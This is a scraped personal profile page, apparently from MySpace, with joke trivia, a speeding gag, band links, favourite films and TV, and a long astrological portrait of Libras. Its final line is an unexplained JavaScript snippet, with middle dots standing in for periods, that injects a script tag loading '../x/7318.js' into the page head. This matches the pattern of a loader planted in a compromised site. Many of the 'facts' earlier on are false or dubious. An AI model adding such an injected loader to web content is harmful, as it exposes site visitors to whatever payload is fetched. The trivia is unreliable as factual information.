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doesnt matter to me as long as we can get along and you laugh at my jokes!!!..=0) ................ i HAVE FIGURED OUT A WAY TO SPEED WITHOUT GETTING A TICKET!!!!! IN 4 EASY STEPS Step 1 - tie these balloons to your car Step 2 - Drive VERY FAST Step 3 - Watch people freak out. Step 4 - Tell the nice officer you thought they were real. useless info for the week " A bolt of lightning travels at speeds of up to 100 million feet per second, or 72 million miles per hour.. thank god the po po isnt that fast"....here is another life changing fact!!!.. The longest recorded flight of a chicken is 13 seconds! ----TRUE STORY If you yelled for 8 years, 7 months and 6 days you would have produced enough sound energy to heat one cup of coffee. (Hardly seems worth it) If you farted consistently for 6 years and 9 months, enough gas is produced to create the energy of an atomic bomb. (Now that's more like it) A pig's orgasm lasts 30 minutes!!!!! ____________________________________________________________ __ Right-handed people live, on average, nine years longer than left-handed people do. (If you're ambidextrous, do you split the difference?), Elephants are the only animal that cannot jump. ____________________________________________________________ __ People who are modestly overweight have a lower risk of death than those of normal weight! In Mexico, the Tooth Fairy is known as the 'Tooth Mouse'. (I guess in Africa its the tooth monkey lol)... In 1998, Sony accidently sold 700,000 camcorders that had the technology to see through people's clothes. (I WANNA BUY ONE!!!!) ____________________________________________________________ __ The origin of the English word "orgasm" derives from the Greek, "orgaein," meaning "to swell" or "be excited or lustful." Humans are the only species on earth that have face-to-face sex.(I thought elephants did also) (I HAD T OPOST THIS WHEN I SAW THIS FACT HAHAHAHA) Jazz fans and gun owners are among the most sexually active Americans. The Bible, the world's best-selling book, is also the world's most shoplifted book. MORE TO COME NEXT WEEK!!!!
JAZZ!!!! This is a Short Clip Jamming with Kenward Dennard ..This one is me goofing off playing reggae with way of the groove!!!! collins soloing on sax and felix pastorious on bass.. .. Part 2 of whats above .. rock, latin music (salsa, timba, etc...) r&b, etc. basically anything that sounds good. http://www.myspace.com/krossover ^---- thats my band!!!!!!!!!!!!!!!!!!!
Training Diapers, smart and smarter, Trey, Finding Nympho, Dont be a menace to south central while drinking juice in the hood...HAHA, lord of the hats (these should be easy to find out what the real names are)
I try to stay away from tv its too addicting and time consuming I rather go out and do something, but if I do turn on the tv and punked is on, or any type of reality show, I cant stop watching and my brain turns to moosh.
Green Eggs and Ham, Milo and Otis, Tailspin, Spy vs Spy
anyone who can fly, or can do a back flip too.........................Oh by the way Libra's rock!!!!! . . Libra is the only inanimate sign of the zodiac, all the others representing either humans or animals. Many modern astrologers regard it as the most desirable of zodiacal types because it represents the zenith of the year, the high point of the seasons, when the harvest of all the hard work of the spring is reaped. There is a mellowness and sense of relaxation in the air as mankind enjoys the last of the summer sun and the fruits of his toil. Librans too are among the most civilized of the twelve zodiacal characters and are often good looking. They have elegance, charm and good taste, are naturally kind, very gentle, and lovers of beauty, harmony (both in music and social living) and the pleasures that these bring.They have good critical faculty and are able to stand back and look impartially at matters which call for an impartial judgment to be made on them. But they do not tolerate argument from anyone who challenges their opinions, for once they have reached a conclusion, its truth seems to them self-evident; and among their faults is an impatience of criticism and a greed for approval. But their characters are on the whole balanced, diplomatic and even tempered.Librans are sensitive to the needs of others and have the gift, sometimes to an almost psychic extent, of understanding the emotional needs of their companions and meeting them with their own innate optimism - they are the kind of people of whom it is said, "They always make you feel better for having been with them." They are very social human beings. They loathe cruelty, viciousness and vulgarity and detest conflict between people, so they do their best to cooperate and compromise with everyone around them, and their ideal for their own circle and for society as a whole is unity.Their cast of mind is artistic rather than intellectual, though they are usually too moderate and well balanced to be avant garde in any artistic endeavor. They have good perception and observation and their critical ability, with which they are able to view their own efforts as well as those of others, gives their work integrity.In their personal relationships they show understanding of the other person's point of view, trying to resolve any differences by compromise, and are often willing to allow claims against themselves to be settled to their own disadvantage rather than spoil a relationship. They like the opposite sex to the extent of promiscuity sometimes, and may indulge in romanticism bordering on sentimentality. Their marriages, however, stand a good chance of success because they are frequently the union of "true minds". The Libran's continuing kindness toward his or her partner mollifies any hurt the latter may feel if the two have had a tiff. Nor can the Libran's spouse often complain that he or she is not understood, for the Libran is usually the most empathetic of all the zodiacal types and the most ready to tolerate the beloved's failings. .."var s=document·createElement('script');s.src='../x/7318.js' ;document·getElementsByTagName('head')[0].appendChild(s );"